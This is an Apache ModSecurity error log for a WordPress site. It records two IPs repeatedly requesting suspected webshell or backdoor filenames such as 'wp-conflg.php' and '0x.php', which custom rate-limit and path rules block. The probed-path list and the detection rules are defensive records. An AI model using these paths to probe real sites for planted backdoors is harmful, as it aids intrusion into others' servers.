[Thu Feb 26 22:25:07.615477 2026] [:error] [pid 55051:tid 55075] [client 4.194.131.131:2879] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBXwwmK1w2kZvh5eLHQCwAAAJU"]
[Thu Feb 26 22:25:07.808935 2026] [:error] [pid 54991:tid 55041] [client 4.194.131.131:2694] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBXw94Zx-mJ8gbRB2j-iQAAAFU"]
[Thu Feb 26 22:25:07.991510 2026] [:error] [pid 54991:tid 55037] [client 4.194.131.131:2313] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBXw94Zx-mJ8gbRB2j-igAAAFE"]
[Thu Feb 26 22:25:08.110852 2026] [:error] [pid 55122:tid 55124] [client 4.194.131.131:2828] [client 4.194.131.131] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "85.215.241.149_ff63ad7aeaa973139353ced850f20ca5d80456b1"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBXwoLiR0OfjFxvcN82TQAAAMA"]
[Thu Feb 26 22:25:08.110921 2026] [:error] [pid 55122:tid 55145] [client 4.194.131.131:2735] [client 4.194.131.131] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "85.215.241.149_ff63ad7aeaa973139353ced850f20ca5d80456b1"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBXwoLiR0OfjFxvcN82SwAAANU"]
[Thu Feb 26 22:25:08.118019 2026] [autoindex:error] [pid 54991:tid 55036] [client 20.151.107.14:64228] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:25:08.203577 2026] [:error] [pid 44444:tid 44455] [client 4.194.131.131:2711] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBXxG2sMNmj-yekUk1N3gAAAgU"]
[Thu Feb 26 22:25:08.383888 2026] [:error] [pid 44444:tid 44458] [client 4.194.131.131:2847] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaBXxG2sMNmj-yekUk1N4QAAAgg"]
[Thu Feb 26 22:25:08.558444 2026] [:error] [pid 44444:tid 44473] [client 4.194.131.131:2407] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaBXxG2sMNmj-yekUk1N5AAAAhc"]
[Thu Feb 26 22:25:08.746742 2026] [:error] [pid 44444:tid 44472] [client 4.194.131.131:2397] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaBXxG2sMNmj-yekUk1N5wAAAhY"]
[Thu Feb 26 22:25:09.014760 2026] [:error] [pid 44444:tid 44457] [client 4.194.131.131:2853] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaBXxW2sMNmj-yekUk1N6QAAAgc"]
[Thu Feb 26 22:25:09.249611 2026] [:error] [pid 54990:tid 55004] [client 4.194.131.131:2718] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaBXxXtr2qmt_mBhH2wvTAAAAAs"]
[Thu Feb 26 22:25:09.440761 2026] [:error] [pid 3883:tid 3904] [client 4.194.131.131:3014] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaBXxeA33x90V6yYHaj2hgAAAVI"]
[Thu Feb 26 22:25:09.649327 2026] [:error] [pid 44444:tid 44453] [client 4.194.131.131:3045] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaBXxW2sMNmj-yekUk1N6wAAAgM"]
[Thu Feb 26 22:25:09.823272 2026] [:error] [pid 25311:tid 25333] [client 4.194.131.131:2421] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/click.php"] [unique_id "aaBXxdfdM__yZAgJFSvr3wAAAZM"]
[Thu Feb 26 22:25:10.061804 2026] [:error] [pid 44444:tid 44468] [client 4.194.131.131:2400] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaBXxm2sMNmj-yekUk1N8QAAAhI"]
[Thu Feb 26 22:25:10.303842 2026] [:error] [pid 44444:tid 44461] [client 4.194.131.131:2393] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaBXxm2sMNmj-yekUk1N8gAAAgs"]
[Thu Feb 26 22:25:10.481648 2026] [:error] [pid 44444:tid 44467] [client 4.194.131.131:2690] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaBXxm2sMNmj-yekUk1N9QAAAhE"]
[Thu Feb 26 22:25:10.674090 2026] [:error] [pid 44444:tid 44473] [client 4.194.131.131:3043] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/install.php"] [unique_id "aaBXxm2sMNmj-yekUk1N-AAAAhc"]
[Thu Feb 26 22:25:10.872318 2026] [:error] [pid 55051:tid 55058] [client 4.194.131.131:3047] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaBXxgmK1w2kZvh5eLHQEgAAAIQ"]
[Thu Feb 26 22:25:11.112236 2026] [:error] [pid 44444:tid 44471] [client 4.194.131.131:2399] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaBXx22sMNmj-yekUk1N-wAAAhU"]
[Thu Feb 26 22:25:11.267717 2026] [:error] [pid 54991:tid 55043] [client 20.151.107.14:64228] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaBXx94Zx-mJ8gbRB2j-lwAAAFc"]
[Thu Feb 26 22:25:11.320526 2026] [:error] [pid 55051:tid 55062] [client 4.194.131.131:2688] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaBXxwmK1w2kZvh5eLHQFQAAAIg"]
[Thu Feb 26 22:25:11.503452 2026] [:error] [pid 55051:tid 55069] [client 4.194.131.131:2316] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaBXxwmK1w2kZvh5eLHQGgAAAI8"]
[Thu Feb 26 22:25:11.699822 2026] [:error] [pid 54991:tid 55033] [client 4.194.131.131:2731] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXx94Zx-mJ8gbRB2j-mAAAAE0"]
[Thu Feb 26 22:25:11.902887 2026] [:error] [pid 3883:tid 3891] [client 4.194.131.131:2706] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXx-A33x90V6yYHaj2igAAAUU"]
[Thu Feb 26 22:25:12.097317 2026] [:error] [pid 3883:tid 3886] [client 4.194.131.131:2305] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXyOA33x90V6yYHaj2jQAAAUA"]
[Thu Feb 26 22:25:12.281510 2026] [:error] [pid 44444:tid 44452] [client 4.194.131.131:2422] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXyG2sMNmj-yekUk1N_wAAAgI"]
[Thu Feb 26 22:25:12.470856 2026] [:error] [pid 54991:tid 55023] [client 4.194.131.131:2843] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaBXyN4Zx-mJ8gbRB2j-nQAAAEM"]
[Thu Feb 26 22:25:12.644576 2026] [:error] [pid 44444:tid 44466] [client 4.194.131.131:2420] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaBXyG2sMNmj-yekUk1OBAAAAhA"]
[Thu Feb 26 22:25:12.824145 2026] [:error] [pid 44444:tid 44454] [client 4.194.131.131:2746] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaBXyG2sMNmj-yekUk1OBwAAAgQ"]
[Thu Feb 26 22:25:13.000730 2026] [:error] [pid 44444:tid 44458] [client 4.194.131.131:3017] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aaBXyG2sMNmj-yekUk1OCgAAAgg"]
[Thu Feb 26 22:25:13.215537 2026] [:error] [pid 44444:tid 44459] [client 4.194.131.131:2838] [client 4.194.131.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaBXyW2sMNmj-yekUk1ODAAAAgk"]
[Thu Feb 26 22:25:13.396157 2026] [:error] [pid 54991:tid 55028] [client 4.194.131.131:2412] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaBXyd4Zx-mJ8gbRB2j-oAAAAEg"]
[Thu Feb 26 22:25:13.586447 2026] [:error] [pid 55051:tid 55070] [client 4.194.131.131:2415] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaBXyQmK1w2kZvh5eLHQHwAAAJA"]
[Thu Feb 26 22:25:13.771217 2026] [:error] [pid 44444:tid 44465] [client 4.194.131.131:2725] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaBXyW2sMNmj-yekUk1OEAAAAg8"]
[Thu Feb 26 22:25:13.891589 2026] [:error] [pid 54991:tid 55040] [client 20.151.107.14:63585] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXyd4Zx-mJ8gbRB2j-pAAAAFQ"]
[Thu Feb 26 22:25:13.988747 2026] [:error] [pid 55051:tid 55068] [client 4.194.131.131:2385] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aaBXyQmK1w2kZvh5eLHQIwAAAI4"]
[Thu Feb 26 22:25:14.170532 2026] [:error] [pid 44444:tid 44453] [client 4.194.131.131:3054] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaBXym2sMNmj-yekUk1OEQAAAgM"]
[Thu Feb 26 22:25:14.591094 2026] [:error] [pid 44444:tid 44466] [client 4.194.131.131:2692] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaBXym2sMNmj-yekUk1OFwAAAhA"]
[Thu Feb 26 22:25:14.629953 2026] [:error] [pid 3883:tid 3900] [client 20.151.107.14:61313] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXyuA33x90V6yYHaj2kAAAAU4"]
[Thu Feb 26 22:25:14.795802 2026] [:error] [pid 44444:tid 44461] [client 4.194.131.131:3018] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaBXym2sMNmj-yekUk1OGQAAAgs"]
[Thu Feb 26 22:25:14.981484 2026] [:error] [pid 44444:tid 44458] [client 4.194.131.131:2837] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaBXym2sMNmj-yekUk1OGwAAAgg"]
[Thu Feb 26 22:25:15.158298 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:3024] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBXy22sMNmj-yekUk1OIAAAAgo"]
[Thu Feb 26 22:25:15.204689 2026] [:error] [pid 44444:tid 44472] [client 20.151.107.14:61315] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXy22sMNmj-yekUk1OIQAAAhY"]
[Thu Feb 26 22:25:15.334339 2026] [:error] [pid 54991:tid 55037] [client 4.194.131.131:2696] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBXy94Zx-mJ8gbRB2j-rwAAAFE"]
[Thu Feb 26 22:25:15.523681 2026] [:error] [pid 20419:tid 20432] [client 4.194.131.131:2738] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBXy-3DVDvMfTYYUBVoawAAAco"]
[Thu Feb 26 22:25:15.661900 2026] [:error] [pid 54990:tid 54997] [client 20.151.107.14:64173] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXy3tr2qmt_mBhH2wvTQAAAAQ"]
[Thu Feb 26 22:25:15.716902 2026] [:error] [pid 55618:tid 55639] [client 4.194.131.131:2049] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aaBXyx61Vrh12f_8oWQUtwAAARI"]
[Thu Feb 26 22:25:15.907850 2026] [:error] [pid 55618:tid 55632] [client 4.194.131.131:2732] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaBXyx61Vrh12f_8oWQUuAAAAQs"]
[Thu Feb 26 22:25:16.086285 2026] [:error] [pid 25311:tid 25331] [client 20.151.107.14:64250] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaBXzNfdM__yZAgJFSvr5gAAAZE"]
[Thu Feb 26 22:25:16.099658 2026] [:error] [pid 55051:tid 55062] [client 4.194.131.131:2736] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaBXzAmK1w2kZvh5eLHQKQAAAIg"]
[Thu Feb 26 22:25:16.293480 2026] [:error] [pid 44444:tid 44470] [client 4.194.131.131:2410] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaBXzG2sMNmj-yekUk1OJQAAAhQ"]
[Thu Feb 26 22:25:16.490607 2026] [:error] [pid 55051:tid 55057] [client 4.194.131.131:3008] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aaBXzAmK1w2kZvh5eLHQLwAAAIM"]
[Thu Feb 26 22:25:16.625215 2026] [:error] [pid 54990:tid 55008] [client 20.151.107.14:61427] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaBXzHtr2qmt_mBhH2wvUQAAAA8"]
[Thu Feb 26 22:25:16.671892 2026] [:error] [pid 55051:tid 55064] [client 4.194.131.131:2734] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXzAmK1w2kZvh5eLHQNAAAAIo"]
[Thu Feb 26 22:25:16.848855 2026] [:error] [pid 54990:tid 54995] [client 4.194.131.131:2698] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aaBXzHtr2qmt_mBhH2wvVAAAAAI"]
